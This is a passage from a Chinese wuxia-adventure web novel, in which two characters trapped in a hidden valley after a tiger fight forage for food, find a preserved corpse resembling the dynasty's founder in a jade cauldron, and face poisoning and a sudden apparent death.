白虎体形庞大,肩高及腰,斑斓的皮毛在晨光下泛着油亮的光泽。此刻它已将她视为猎物,伏低前身,喉间发出低沉的呼噜声,尾巴缓缓摆动。
方知画脑子“嗡”的一声,想跑,但双腿发软。
其实她只是累了,再给她一息,她就能振作起来,而不是眼睁睁看着那猛兽后肢发力,即将跃起——
就在这千钧一发之际,一声尖锐的哨音陡然响起。
阿琛站在不远处一块矮石上,以两指为哨,引得白虎身形一顿,扭头转向异响来处。
白虎显然被激怒了。它放弃了面前的猎物,而是咆哮一声,如离弦之箭般冲向阿琛。
阿琛迅速从石上跃下,白虎第一次扑击,他侧身滑步避开,虎爪堪堪擦着他胸前掠过——“嘶啦”一声,粗布衣裳被撕开三道长口子,露出里面古铜色的胸膛。
只差毫厘就要皮开肉绽。
方知画捂住嘴,不敢惊扰这一人一虎缠斗。
第二扑,阿琛翻身滚到另一块矮石后,白虎一爪拍在石上,碎石飞溅。他趁机跃起,一脚蹬在虎侧,借力翻到它身后。但白虎尾巴如钢鞭横扫,狠狠抽向他前胸,阿琛踉跄后退,衣服彻底是刮烂了。
第三扑最为凶险。白虎后肢发力前爪张开,血盆大口直咬阿琛头颅。阿琛身后是一座石墩,根本没有退路。
他瞬间反身下腰,虎爪凌空从他头顶掠过,就在这电光火石之见,阿琛猛地抽出腰间雪亮短刀,正中白虎柔软的腹部。
白虎一声嘶嚎震耳欲聋,翻滚落地。
而它落下的位置,恰好是石林边缘——方知画这才看清,那里看似是斜坡下的一道沟壑,实则因为晨雾和角度,隐藏着一个天然形成的地缝!
这一滚,底下是深不见底的山谷!
响遏行云的虎吼声中,虎爪竟是不知何时勾住了阿琛系在腰间的缎带,当即带得阿琛也向裂缝滚去。
“小心!”方知画终于喊出声,身体比脑子更快,冲了过去。
她自腕上捋下一枚银镯——正是早早从前送她防身用的“缠丝扣”。她运起全身力气将活扣抛出,银索如灵蛇游走,银环准确无误地套上了阿琛手腕,瞬间扣死。
“抓紧!”她大喊,双脚死死抵住地面一块凸起的岩石,双手拽住银索。
缎带顷刻崩裂,腾起一片飞灰,白虎摔落崖去,阿琛下坠之势猛地一顿。
但也就仅仅是一顿,方知画高估了自己残存的力气,更低估了一个高大男子坠崖的力道。
那根本不是她能拉住的重量,只觉胳膊都快要被扯断,方知画整个人被无可抗拒的力量拖向斜坡边缘。
“松手!”阿琛在下方厉喝。
方知画倒是想松,火急火燎去掏钥匙,却根本来不及。慌乱之中,小巧玲珑的钥匙还弄掉了,霎时间她双脚离地,身体腾空。
天旋地转。
耳边只有风的呼啸,她记得最后看到的,是自己向上伸出的手。
*
呼——
谷底刮过一阵穿堂风,激得方知画直打哆嗦,她的衣服被露水透得潮湿,并没比衣不蔽体的阿琛好多少。
“既然你轻功一流,能带我一起上去吗?”阿琛指指崖顶,又指向自己明显肿胀的脚脖子,“借点力就好,我踝骨折了。”
“这么严重?”方知画怔愣当场,“可这地方这么高,我自己上去都够呛,哪里带得动你。”
“……”阿琛扯了扯嘴角,看起来原本也没报多少希望,“既如此,就乖乖跟我走吧,方大小姐。”
62. 谷底求生
方知画闻言警觉道:“你怎么知道我姓方?”她的声音因戒备而微微拔高,谷底的风似乎更湿冷了三分。
“你那钱袋子上不是绣着字吗?”阿琛头也未回,拖着断脚,在前面走得一瘸一拐,“还没问方小姐为何跟踪在下?”
腕上传来一股不轻不重的拉力,方知画不得不跟着他踉跄前行,含糊道:“我这个人吧,就是好奇心重。想看看那缎带有什么玄机那么值钱。”可惜在崖上扯了个稀巴烂,还好他也是抢来的,没花钱,不然不得找自己赔?
当然了,算起来也是救了她一命,真要赔也不是不行,至少得先出去。
“你想要缎带,不跟着卖主,却跟着我?”阿琛侧身看她,似笑非笑,“难道我看起来就像贼?”
可不是么。方知画露出“知书达理”的笑容,识趣地没有挑明。他这样半转过身,她的视线便不由自主地下滑,落在他因破衣烂衫而裸露大半的胸膛上。
那并非养尊处优的白皙,而是经年风吹日晒、海浪打磨后的麦色,肌肉线条流畅而蕴藏着力量感,此刻正随着他的呼吸微微起伏。
方知画张了张嘴,鬼使神差冒出一句:“我要说是见色起意你能信吗?”
空气凝固了一瞬。
阿琛的神情颇为复杂,先是一僵,随后嘴角抽动,继而低低地笑了起来,“消息楼的大小姐,当真是有趣得很。昭姑娘能得你这样的好朋友,也是三生有幸。”
最后四个字,他说得慢而清晰,怎么听都透着一股淡淡的嘲讽。
方知画被他笑得着恼,震惊之余,愈发警惕起来:这个人不仅知道自己的身份,还知道她和早早的关系,必不简单。
她索性打开天窗说亮话:“你的主家同样也在四处寻找你,你既然落水未死,为什么不回去复命?反而销声匿迹,如今又出现在云州……”
她试探道:“那缎带有什么用,你抢夺它要做什么?”
阿琛任由她叽里呱啦,压根也没搭理,继续向前走着。
很快,一阵山风穿谷而过,带来了浓烈的血腥气。那头吊睛白额虎的巨大身躯横陈在不远处,早已僵硬。而一点黛蓝的缎带碎片,零乱的散落在虎尸周围,更多的,则不知被风卷去何处。
阿琛的目光先是在虎尸上停留了一会,随即走上前,俯身从虎腹处拔出那柄短刀——正是他昨日用来与虎搏斗、最后刺入虎腹的兵器。刀刃上血迹已干涸发黑。
在他俯身拔刀时,方知画眼尖地注意到,他左手手心有一道不算太深、但新鲜的伤口,下意识问:“你手怎么了?”她记得他坠崖前他分明没有这道伤。
“石头划的罢了。”阿琛若无其事直起身,试图用短刀割断蛟索,但尝试了几次都没能成功,便也作罢。
“走吧。”他语气平淡,目光半点没有在那些价值不菲的缎带碎片上停留,而是招呼方知画跟上。
方知画看着那些碎片,想起它们曾价值七百两黄金,不免有些心虚,小声问道:“你确定不要了吗?捡起来攒着找个手艺好的绣娘缝一缝,没准能复原个七七八八呢。”
“不必了。”阿琛头也不回。
“为什么?”方知画不解。
阿琛已经走出一段距离,蛟筋都快拉直了。他道:“本该如此。”
本该如此?
方知画别的不行,最是一颗心七窍玲珑,短短四个字让她一下子想明白了,“重要的不是缎带,是里面藏的东西,对吗?你抢夺它,原本就要把它们撒入谷底。那些粉末是什么东西,这里又是什么地方?”
方知画一激动起来嗓门就大,连珠炮似的发问甚至在谷底激起微弱的回音。阿琛终于停下脚步,回过头来。
逆光中,他的面孔大部分隐在阴影里,只有那双眼睛,亮得惊人,平静地、玩味地注视着方知画因急切而微微涨红的脸。
“你凭什么觉得,”他缓缓开口,声音听不出情绪,“我会告诉你?”
“没觉得。”方知画被他看得心头一跳,但还是诚实道,“但我问问看又不吃亏,没准你想说呢。”
“你想说随时说啊,我洗耳恭听。”她扬起手,露出一抹狡黠的笑,“你看,咱俩现在可是一条绳上的蚂蚱。”
在耍无赖这道上,阿琛也算是棋逢对手了,挑眉道,“有些事情,知道的太多对你没好处。”
“怎么会?”方知画油盐不进,“我们家可是吃这碗饭的。左右债多了不愁,虱子多了不痒。”
阿琛显然没打算再继续这场无意义的对话,收声闷头向前。方知画也不在意,一边跟着走,一边眼观六路。
谷底大多是花草灌木,只零星生长着几株老树。阿琛走到最大的那棵树前,弯腰捡拾了一些掉落的枯枝,单手抱着怀里,然后带着方知画,绕到了老树背后。
巨树紧挨着一面陡峭的岩壁生长,而在树根与岩壁相接的阴影里,赫然有一个被半遮掩的洞口!
这谷底竟有一间石室!方知画眼前一亮。
洞口狭窄,但两人进去之后,空间豁然开朗。
石室应是依循天然形成的岩洞开凿而成,顶部呈不规则的拱形,最高处约有一丈。石室内光线昏暗,只有从洞口漏进的些许天光,勉强照亮近处。
方知画眯着眼适应了一会儿,才看清室内陈设——简陋到近乎原始,只有最基本的桌椅和石床,洞口旁垒着一个简单的石灶,没了。
整个石室弥漫着一股久无人居的陈腐气息,从灰尘的厚度看,恐怕已经十几年无人居住。
好在方知画本来也没有做话本上那种一朝进到洞天福地的春秋大梦。这里虽然简陋,却很好地隔绝了谷底的寒风。待了一会儿,方知画感觉身上渐渐回暖,不再那么冷了。
她看了看阿琛几乎衣不蔽体的上身,犹豫了一下,还是脱下了自己最外层那件鹅黄色的锦缎外衫。
“给你,凑合下。”她递过去,大咧咧道:“别冻死了,还得指望你带我出去呢。”
阿琛看了看她手中的外衫,也不客气,伸手接过道:“多谢。”
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然而,他并未穿上,而是用短刀从下摆处,利落地割下几片干净的布条,然后将剩下的衣衫递还给她。
“我不怕冷,你穿上吧。我用这些就够了。”
方知画不明所以地接过衣服,而阿琛则是坐到石床上,抬高了受伤的脚——只听咔的一声,他毫不拖泥带水地复位了自己歪斜肿大的脚踝。
整个过程,阿琛眉头都没皱一下,仿佛掰的是哪块地里的萝卜。方知画暗中咋舌,正想说骨头断了光掰直也没用啊,就见他用那几片布条和刚才捡来的枯枝,开始为自己制作固定夹板。
他将枯枝贴在脚踝两侧,用布条一圈圈缠绕、打结,手法熟练,力度均匀,方知画看得连连点头,心知自己是帮不上什么忙了,干脆套话问:
“你不是第一次来这里吧?”
从进入谷底到找到这隐蔽石室,他目标明确,路径清晰,根本没有丝毫探寻摸索的过程。
阿琛手上动作未停,没有回答。
方知画也不气馁,转而问出最要紧的问题:“我们要在这里待多久?怎么出去?”
阿琛打好最后一个结,试了试固定效果,才抬眼看向她,反问道:“你会泅水吗?”
“泅水?”方知画摇头道,“当然不会。”
阿琛夸张地长叹一口气,“那就只能等我伤好些再说了。”
“可你这伤筋动骨的,哪是一时半会的事。”方知画急道,“我们未必没有别的办法。你看,这里有柴火,我们只要找到水源,弄些湿柴点燃,产生浓烟,不就可以给外面的人发信号了吗?”
“你直接出去把外面那棵树点了,烟也飘不到谷外。”阿琛慢悠悠道,“而且关于这个地方,你必须永远保守秘密。”
他顿了顿,沉静如水地看着她,“对任何人都不能提起。你知道,什么样的人不会泄露秘密吗?”
方知画被他骤然严肃的语气和眼神慑住,缩了缩肩膀,眨巴眼道:“我就是哑巴,你放心。”她举起没被锁住的左手,做了个捂嘴的动作。
虽然心里面高低还有八百个疑问,但好汉不吃眼前亏,方知画心道,留得青山在,不怕没柴烧。
见她这副模样,阿琛也不再多说,而是闭上眼,开始调息打坐。
方知画也累了,同样靠坐在石床上,闭目养神。眼下看似被困在绝境,实则有虎可吃,有屋可住,阿琛特地问她会不会泅水,想必附近定然也有水源,那么言而总之,总而言之,一时半会死不了人。
方知画略略放松下来。人闭起眼睛之后耳朵就会格外灵敏,她侧耳倾听着外面的动静。
这山谷静谧得过分,除了偶尔几声似从极高处传的鸟叫,竟似再无声息,连虫鸣都没有。又听了一会,好似有若隐若现的水声,听不真切。
不知过了多久,阿琛睁开眼,问:“休息好了吗?”
方知画连忙点头。
“休息好了,就出去吧。”阿琛撑着石壁,慢慢站起身,“天黑之前,我们得把该准备的东西准备好。”
63. 人脸
方知画所料不错,这里的确有水源,却不是她期盼的什么可以泡澡的温泉活水,而是轰隆隆的瀑布。
越靠近隧道口,响声就越大,他们几乎走到了谷底的另一端,岩壁在这里向内凹陷进去,形成一个小小的、潮湿的隧道入口。水声正是从洞内轰鸣而出。
地上布满厚厚墨绿苔藓,踩上去软绵绵、滑溜溜的。
“小心一点,里面很滑。”阿琛在洞口停下,嘱咐她道,“这隧道后面,是瀑布下的水潭。”
方知画探头往黑黢黢的洞里看了看,啥也看不见,“里面这么黑……咱们要不要弄个火把再来?”
“哪来的火油?”阿琛晃了晃相连的手腕,“你就跟着我慢慢走,总不至于连我这个跛子都不如吧。”
方知画被他一激,硬气道:“就怕你拖我后腿。”
两人一前一后,开始向黑暗的隧道内挪动。阿琛受伤的腿使他动作有些迟缓,方知画也好不到哪去,既要留意脚下湿滑的苔藓和凹凸不平的地面,又因黑暗而不得不紧跟着前面的人,几乎快要贴上他的后背。
银索时松时紧,短短一段路,两人走得磕磕绊绊,好歹是到了。
山体另一侧的溶洞呈现在眼前,他们在一处小瀑布的背后,半明半昧的天光照射进来,面前是一汪深潭。
耳边轰鸣的水声震得人耳膜发胀,方知画一喜,快步上前,阿琛猝不及防,差点给她带翻了,好在反应够快,另一只手及时扶住了岩壁。
“你能不能留点神?”阿琛稳住身形,大喊道。这里水声大,方知画听得不太清,反正是赔礼了:“对不起!”
瀑布激起的水汽弥漫在整个溶洞中,两人走到潭边远离瀑布冲击的一侧,阿琛蹲下身,用双手捧起清澈的潭水,大口喝了起来。
方知画学着他的样子,清凉甘甜的潭水入喉,瞬间缓解了喉咙的干渴和火辣,连精神都为之一振。
两个人又仔细清洗了身上的血污,这才小心地沿原路返回。有了来时的经验,方知画亦步亦趋,尽量预判阿琛的动作,配合着慢慢挪动。
虽然依旧磕绊,但比之前顺畅了许多。
出得隧道,二人直奔虎尸。这时方知画不免庆幸谷底没有别的动物了,不然恐怕够呛。
阿琛抽出刀,显是准备来个庖丁解虎——不好意思把体力活全都留给伤员干,方知画主动表示她可以帮忙。
一刀斩下去,浓烈的血腥气扑面而来,阿琛问:“你确定要动手?”
方知画脸色一白,差点作呕,立刻伏低做小,“当我没说。”
阿琛扬扬眉毛,嗤笑一声,也不勉强,独自开始用刀分割虎肉。
方知画闲着没事,在旁边左瞧瞧由看看,也没法走远。忽地“喀啦”一声,她好像在草丛里踢到了什么硬物,拾起来一看,竟是一支锈迹斑斑的铁箭。
箭头是三棱破甲锥的形制,虽然有些锈蚀,刃口依然透着尖锐的寒光。
“这里怎么会有箭?”方知画大为惊奇。
“那正好,”阿琛面不改色,“用来串肉烧烤正合适。”
说着接过去在旁边的石头上磨了磨面上的锈迹,又极其自然地递还给方知画,“我把肉切成小块,你串上去试试。”
方知画“哦”了一声,倒也确实是比用树枝串强。
“那边应该还有,”阿琛说着往大鼎的方向走,“再捡一些。”
还有?这到底啥地方啊?方知画心里的疑问多得像沸水冒泡,想问又知道这家伙不会说,那叫一个抓心挠肝,老难受了。
最后阿琛还额外割下许多长条状的肉块,用树皮和植物的根茎揉搓成绳串起,悬挂在下层通风的树枝上。
看着那渐成规模的“肉林”,方知画不禁头皮发麻。晾这么多备用粮,看来阿琛短时间内是真没打算出去了。
哎,但愿老天保佑,福伯能尽快带人找到他们。
两人又捡了些枯枝作柴火回到石室,忙活这大半天,天光已近黄昏。
行走江湖,火镰包是必备,还好两人都随身带着,不然眼下还得钻木取火。
随着用力的敲击声,火石和火镰打出铁屑星子引燃了火绒,一点跃动的火苗颤巍巍亮起,方知画连忙把它们移到了石灶内堆好的柴火上。
温暖的光线不仅能驱散阴寒,也能驱散盘踞在人心头的不安。两人不约而同松口气,围着灶台坐下。
串起虎肉被架在火上慢慢烤着。油脂受热滴落火中,发出“滋滋”的声响,浓郁的肉香逐渐弥漫开来。虽然隐约带着一股腥臊气,但在饥饿的人口中,已是无上美味……才怪。
肉是烤得不错,外焦里嫩,火候完美。可是没有盐,没有任何调味,只有一股子难以忽视土腥气,且口感粗糙,咀嚼起来颇为费力。
方知画勉强咽下第一口,看着手里剩下的肉,顿时胃口全无。
阿琛见怪不怪,自己慢条斯理地吃着,半晌还说了句风凉话,“等你饿三天再吃就香了。”
方知画白眼翻到后脑勺,懒得回呛,但还是小口小口地又啃了一点,他说得对,这不吃还能怎么办呢,硬饿啊?
虎落平阳还被人吃呢,虎都没说什么,她有的吃就不错了,将就吧。
是夜,方知画睡得很不安稳。石床宽大,她和阿琛各据头尾,非常时期,也顾不得什么礼数,毕竟这蛟筋也算是把两人锁死了,分不开多远。
枯草铺硬得硌人,山谷里的风穿过石缝,发出呜呜的凄厉呼啸,如同鬼哭。灶火渐熄后,凉气更是从四面八方侵袭过来,即便裹紧了外衫,依旧冷得她蜷缩成一团,瑟瑟发抖。
更令人不爽的是,另一头的阿琛完全不受影响,呼吸平稳悠长,睡得很沉。方知画在昏暗中盯着他模糊的轮廓,羡慕得牙酸,只恨没有笔墨,不能在他脸上画个王八。
疲惫终究是压倒了纷乱的思绪,方知画也渐渐睡着了。睡梦中,似乎有个温暖的热源,替她驱散了些许寒意。
*
晨光照进石室时,方知画迷迷糊糊地醒来。身侧是比石床更温暖、坚实的触感,依稀还有点似曾相识,待她懵然睁眼一瞧,好嘛,自己是挺会找人肉靠垫的,这还得了。
她的轻功身法从来没有这么轻过,人简直就像羽毛似的倏忽“飘”到了另一边,一脸正经,宛若无事发生。
可她忘了腕子上还有要命的东西,飘得太急,直接扯动了相连的蛟索。
阿琛被突如其来的力道带得身体一歪,醒了过来。他打了个哈欠,活动了一下有些僵硬的脖颈和肩膀,非常自然地道:“醒了?去洗漱吧。”
“嗯嗯。”方知画小鸡啄米一样点头,热血全涌到脸上。
但阿琛好像啥也没看到,行动如常。方知画暗中松一口气,太好了,昨天说见色起意只是开玩笑,总不能真整得自己跟登徒子似的。
直到清凉的潭水拍在脸上,方知画才算是彻底冷静下来,恢复了平常心。她盯着眼前清澈幽深的潭水,想到了更现实的问题——
“你说这下面有鱼吗?”
“当然有,”阿琛肯定道,“
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但我们抓不上来。”
“去掉‘们’字。”方知画眯了眯眼,下定决心道,“我有办法弄。”
老虎肉味太大了,顿顿吃她一定会吐。而且虎肉虽多,也不知他们会在这里困多久,开辟新的食物来源总是好的。
说来也巧,学院前些时日教他们手作,方知画正好听过几节编织课。
出了隧道,她来了精神,立刻拉着阿琛开始在谷底寻找合适的柔韧枝条。
“你不会是想编鱼篓吧?”阿琛看出端倪,“生手做这个,会非常耗时间。”
方知画满不在乎,“咱们现在最多的不就是时间?”
“也对,”阿琛赞同道,“那试试。”
谷底正好有一种长得像灯芯草的植物,看起来细长又有韧性,正在编鱼篓的好材料。方知画想折,阿琛却没让她动手,而是替她扯了一大把。
回到石室,方知画兴致勃勃地开始尝试她的捕鱼大业。
“三根打底十字星,一挑一压织成井……底成圈,篾上扬,肚渐阔,口内藏……”后面啥来着?
忘了,这种课大多也就是走个过场,方知画已经是听得很认真了,不然连个雏形都做不出来。
然而她一连编了好几天,不是这里松了,就是那里断了,勉勉强强,也就差不多折腾个雏形,看起来像是随时会散架。
算了,死马权当活马医。
阿琛深表赞成,还帮她搓了两根绳条做提手,又在开口处编入倒须,防止进篓的鱼儿溜了。
“这能行吗?”
临到要去水潭放鱼篓,方知画自己都有点不自信。
阿琛一边切了些细碎的肉条撒进篓子里当饵,一边问:“你是第一次抓鱼?”
“那不然呢?”
和平相处这些天,方知画跟阿琛说话都熟稔起来,“要不是困这了,本小姐还能干这个事?”
“那没问题了,”阿琛拍拍她的肩膀,“新手抓鱼,龙王也要让你三分。”
“承你吉言。”方知画拱手道,“一会分你鱼尾巴吃。”
两人又一起来到潭边,找了个水流相对平缓、靠近岩壁的缝隙,小心地将鱼篓沉了下去,用绳索系在岸边一块突出的石头上。
“希望晚点能有收获。”方知画拍拍手,满怀期待。
中午这顿因为有着对鱼获的憧憬,连难吃的烤肉都似乎顺口了些。
又过了两个时辰,方知画怀着紧张又兴奋的心情,来到潭边,慢慢拉起绳索。
入手沉甸甸的!她心中一喜,加快动作。哗啦一声水响,鱼篓被提出水面,里面有一条近尺长的大鱼在活蹦乱跳!
“抓住了!真的抓住了!”方知画高兴得差点跳起来,连日来的辛苦都得到了回报。她提着鱼篓脚步轻快,简直是趾高气昂地往前跑,阿琛好笑地跟在她身后,一瘸一拐,直呼慢点。
两人间的蛟索都绷成了一条直线,方知画走在前面,喜滋滋地盘算着怎么料理这条大鱼,又想起火还没生,不如先放置一会让鱼吐吐泥沙——
她正巧走到了那尊碧色大鼎边,连日来,她多次路过这里,看久了也没什么稀奇。这鼎再是尊贵,在此处也派不上任何用场。
不过今天,倒是可以给她放鱼。
阿琛大喝一声,几乎是扑身上来,却阻拦不及。方知画顺手就把鱼篓甩进了鼎里,还留了一截绳子准备挂在鼎耳上。
莲叶被沉沉的鱼篓撞下去,一串串气泡咕噜噜接连浮起来。
水面下,赫然露出一张人脸。
64. 图腾
水波晃荡,光影破碎。
那是一张苍老的、布满深刻皱纹的男人的脸。皮肤是黯淡的青白色,紧紧贴着骨骼,眼睛紧闭,双颊凹陷,嘴唇薄得几乎没有厚度。
随着水流的扰动,他稀疏而灰白的头发像水草般飘荡开来,顶上戴着长满褐藻的玉冠。
方知画脸上的笑容霎时凝固。
她是爱看鬼怪画本没错,越禁忌恐怖的越能让她裹着毯子看得津津有味,但这绝不代表她愿意在现实中、在这样无人的深谷、在一尊诡异的玉鼎里,亲眼见到这种东西。
像有一只无形的手掐住了自己的喉咙,方知画倒抽一口凉气,吓得两腿一软,整个人向后倒去,不偏不倚,正砸到扑将上来的阿琛身上。
阿琛伤腿未愈,猛地接住她软倒的身体,不由失去了平衡,两个人结结实实摔倒在地,滚作一团。
被压倒的花草蓬然扬起细碎的粉尘,混着枯草泥屑,沾了二人满头满脸。
方知画撑在阿琛身上,惊魂未定,手指颤巍巍指向那尊玉鼎,语无伦次道:“脸、脸、脸……鼎里……有、有人!”
阿琛闷哼一声,显然撞到了伤处,“人什么人,还不快去把鱼拿出来!”
“啊?对!我的鱼!”
一想到这可是费尽心思才网到、能改善伙食的鱼,方知画冲动之下,鬼也不怕了,几乎是跳起来就去拽鱼篓。
还好篓子里,那条尺许长的大鱼还在徒劳地弹动,鳃盖一张一合,看起来没什么事。
等等。
方知画怔愣在原地,那张脸……
她好像见过。
许是冥冥之中,人的名字亦昭示着其未来的命运,方知画天生就对画作有着惊人的记忆力,堪称过目不忘。方家屹立江湖多年,收集的画卷种类繁多,即便是一些秘而不宣的皇室、世家图谱,她都有机会接触。
鼎中的那张脸,她的确见过,只不过不是在现实中,而是在画像里。
那是一幅封存在地库中的,开国太祖皇帝老年时期的肖像。虽然是拓本,颜色有些黯淡,但那极具特点的骨相、神态,她绝不会记错。
“这怎么可能……”方知画牙齿打颤,眉毛都快拧成结了。
她转头看向站起来的阿琛,急切求证道:“鼎里的这个人,为什么会跟太祖皇帝一模一样?!太祖不是应该在子陵吗?”
阿琛的动作几不可察地僵了一下,脸上惯有的调笑和惫懒瞬间褪去,取而代之的是一种冷淡的漠然。
他紧紧盯着方知画发青的脸,一步步向她走去。
“你的问题还真多。”阿琛缓缓开口,声音低沉沙哑,喜怒莫辨,却让方知画浑身汗毛倒竖,牙齿颤得更厉害了。
“你别过来啊……”手中的鱼篓“啪嗒”一声坠到地上,方知画心跳得很快,胸口发疼。
这下她是真的有点头晕目眩。
阿琛骤然变得幽深难测的眼神,让方知画脑中那根名为“危险”的弦绷紧到极限,这个地方的可怕超出了她的想象,就算是被灭口,也未必不可能。
原本她敢壮着胆子追踪阿琛,是因为从好友早早的画作中,可以看出她对此人充满了探究,却没有厌恶和憎恨,料想他不会是什么大奸大恶之人。
但眼下涉及的事,已经不能再用常理判断。方知画呼吸愈发急促,只觉眼前阵阵发黑,恶心感直冲喉头。
而阿琛恰在此时,拔出了腰间雪亮的短刀。
他要动手了!方知画如坠冰窟,同时也爆发出强烈的求生欲。
“我什么都不会说的!我发誓!”受蛟索牵制她退不了多远,只能悄悄捏紧了袖中防身的暗器,只待阿琛近身,大不了殊死一搏——
却见寒芒一闪,阿琛利落划开的是他自己的手掌。
“……?”方知画僵立当场,完全不懂他意欲何为。
鲜血顺着他的掌纹滴落,阿琛眉头都没皱一下,仿佛割开的不是自己的血肉。他将那只正在流血的手掌直接伸到方知画唇边,“不想死就快喝。”
“你……”方知画瞪大眼睛,不禁怀疑自己出现了幻觉。喝他的血?现在?
“快点!”阿琛耐心耗尽,“你吸入了毒花粉,再晚你就要毒发了。”
闻言方知画困惑不已但也不敢再耽搁,捧起他的手掌就开始猛吸。
温热粘稠的、带着浓重铁锈味的液体涌入口腔,滑过喉咙。方知画强忍着腥气,大口吞咽。是了,她摔下断崖刚醒来的时候,便有过似曾相识的感觉。
彼时口中那股挥之不去的腥甜,以及那带血的唾沫……原来不是她上火,而是一早阿琛就救过她。
难怪他手上莫名多出伤口,脸色还那么差……方知画大为感动,含泪吸血,胸口的窒闷和眩晕果真开始缓解,急剧的心跳也逐渐平复。
“够了,”阿琛用力把手抽回来,“再喝我都要被你吸干了!”
“大恩不言谢,”方知画嘴唇和下巴还沾着殷红的血迹,真的很感动,“要不我认你做义兄吧,以后你就是我大哥!”
“免了。”阿琛毫不留情地拒绝,轻车熟路地从她衣角上扯下块布,包扎着手掌伤口,“从现在起,你做一个哑巴,什么都别问就好。”
方知画一噎,这可真是精准地打在了她的七寸上。不让肚子里藏不住话的她发问,简直比杀了她还难受。荒郊野岭有毒花毒草尚可以解释,但他的血为什么能够解毒?
他到底是什么人,鼎里的尸体是谁,为什么浸泡在水里却没有腐烂?这诡异的山谷,究竟藏有多少秘密?
“嘘。”阿琛把染血的布条末端咬住打了个结,随后将一根指头竖起了贴到唇边。方知画见状无法,只得咽下满腹狐疑,弯腰拾起了地上还在扑腾的鱼篓。
*
两人沉默地走回石室。火堆被重新燃起,烤鱼的时候,方知画状似随意地开口,打破了沉寂:“你以前在海上,都去过哪些有趣的地方?”
她不能直接问,她还不能围魏救赵吗?
“很多。”阿琛靠着墙壁懒洋洋的,带着明显的敷衍。
“我之前很喜欢看一本书,叫《万异海》,你看过吗?”方知画也不气馁,套不出话,纯分享也不错,“讲的是海上的历险故事,光怪陆离,可有意思了。”
她一面剔除烤鱼上焦黑的部分,一面兴致勃勃地开始说书:“有一群跑海的商人,在海上遇到了罕见的大风暴,船被打坏了,罗盘也失灵,在海上漂泊了不知道多少天,最后流落到一个奇怪的荒岛上。”
“那岛除了石头就是些不能吃的怪树,别说动物了,连只虫子都少见。他们带的那点干粮很快就吃光了,一个个饿得眼冒金星,前胸贴后背,就快要活活饿死……”
阿琛埋头吃鱼,眼皮都懒得抬一下:“快饿死了,身边的不都是食物?”
“啊?”方知画没反应过来。
“那么多同伴,”阿琛的语气平常得像在讨论天气,“够吃一阵了。”
嘴里的鱼肉顿时不香了,方知画手一抖,差点把串掉地上。随即明白阿琛是在吓唬自己,她干脆顺着他的话头往下问:“怎么,你吃过呀?”
“那什么……尝起来啥味啊?”方知画莫名咽了一口唾沫,说实在的,没盐的鱼肉也就比虎肉强个三文钱,好吃不到哪去,她现在听什么都馋。
这下子轮到阿琛无语,终于是掀起眼皮看她,“不知道,没吃过。”
“呿!”
方知画嗤笑一声,感觉有点毛毛的。这人要是斩钉截铁、绘声绘色地说自己吃过,她肯定觉得他在胡扯吓人。可他偏生说没吃过……倒叫她心里没底。
算了算了,不想了。方知画甩了甩头,决定把那些惊悚的念头甩出去,继续讲故事,“我接着跟你说啊,那群人在荒岛上饿得不行,到处乱找,结果还真让他们发现了一个神秘的洞穴……”
阿琛听着她绘声绘色、添油加醋的叙述,时不时接两句话,气氛一时相当热烈。
方知画讲到兴起,眉飞色舞,折腾半天一句话没套着,给自己讲得口干舌燥。末了还问:“怎么样,这故事精彩不?”
阿琛相当捧场,称赞道:“精彩绝伦,还很刺激。”
“可不是,”方知画十分认同,随即又带了点怀念道:“后面那些要不是有早早陪着我,我一个人都不敢看。”
阿琛沉默片刻,笑问:“她不怕吗?”
“当然了!”提到好友,方知画立刻与有荣焉,“早早一贯胆识过人,巾帼不让须眉的。”
她挺了挺胸脯,得意道:“她的厉害,你应该见识过吧?”
“的确。”阿琛点点头,揶揄道,“可你又不是她家里人,你得意啥?”
“狭隘。”方知画没好气地白他一眼,“落地为兄弟,何必骨肉亲。情同手足你懂不懂?”
阿琛没有回答,双眼微眯,脸上那点残存的笑意像水痕一样慢慢干涸、凝固。
“你干嘛呢?”方知画不解,轻轻用手肘碰了他一下。阿琛的身体顺着她的力道,毫无征兆地向一侧滑倒,直接瘫软在地,一动不动。
这人怎么还带碰瓷,方知画惊了,“你躺着我也不赔你钱啊,再说
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我钱袋子先头就给你了。”
“你就躺!看本小姐管你不。”
地上的人毫无反应,安静地伏在那里。
“还趴着,我看你趴到几时。”
方知画等了一会,又劝诱道,“口渴不?地上凉不凉啊?要不要去喝点水?”
依旧寂静。石室里只有火堆燃烧的“噼啪”声,和她自己略显急促的呼吸。
“喂?!”方知画有点慌了,伸手去推地上人的肩膀。“阿琛!别闹了!快起来!”
触手一片冰凉。那张熟悉的脸苍白如纸,毫无生气。
方知画屏住呼吸,将手指凑近他的鼻端——没有气息。她不死心,又去摸他颈侧的脉搏,指尖下一片死寂,没有任何一丝一毫的搏动。
死了,这个人又死了,和坠崖那日,一模一样!
方知画脸上血色“唰”一下褪得干干净净,“你又装死是不是?龟息术对不对?你快起来!”喊到最后,她几乎尖叫,混账,太吓人了!
方知画用力摇晃他,拖动他,甚至不顾他脚上的伤,半拖半拽地想把他拉起来。
阿琛毫无反应,沉重而绵软的身体随着她粗暴的动作无力地摆动,头颅耷拉着,四肢松垂,像一个脱线的木偶,一具没有生命的死尸。
巨大的恐慌攫住了方知画。她想起从前看过的一个极其阴森的民间画本。故事里,历险者从头到尾,一直以为有一个好兄弟在陪伴自己,同甘共苦,历经磨难。直到最后他才知道,好兄弟从一开始就死了。
所以,这个叫阿琛的人,在坠崖之后,真的“活过”吗?
一阵阴风凄厉地刮过,树叶飞卷,飘散了几片到洞口。方知画怔愣看着脚下残叶,莫非这一切,都是自己的幻觉……
不对。
方知画用力拍了拍自己的脸,她不可以被恐惧搅乱了心智,胡思乱想。如果是早早在,肯定会扇这个鬼人两巴掌。
心念一起,方知画当即一手揪住阿琛的头发,另一手“啪啪”就是两个结结实实的大嘴巴。
没用。
方知画俯身把人放平,双手交叠,用力按压他的胸膛。随后,她捏住他的鼻子,掰开他的嘴,使劲往里渡气。
事已至此,只能尽人事,听天命了。
直到方知画身上都出了一层薄汗,阿琛的身体还是越来越冷。
徒劳。方知画的心沉了下去。
没关系,也许真是龟息大法呢?她喘着气自我宽慰,打算将人拖上石床。她刚拽起阿琛,却看到他裸露的背后,浮现出几根颜色青黑的线条。
那些线条起初很淡,像是皮肤下的淤青,但很快,颜色就变得深浓起来。它们越来越多,交织成一副方知画从未见过的、充满古老蛮荒气息的图腾,似鱼非鱼,似鸟非鸟,它们从阿琛的肩胛开始,向下蜿蜒盘绕,覆盖了整个后背,直至没入腰际的裤缘。
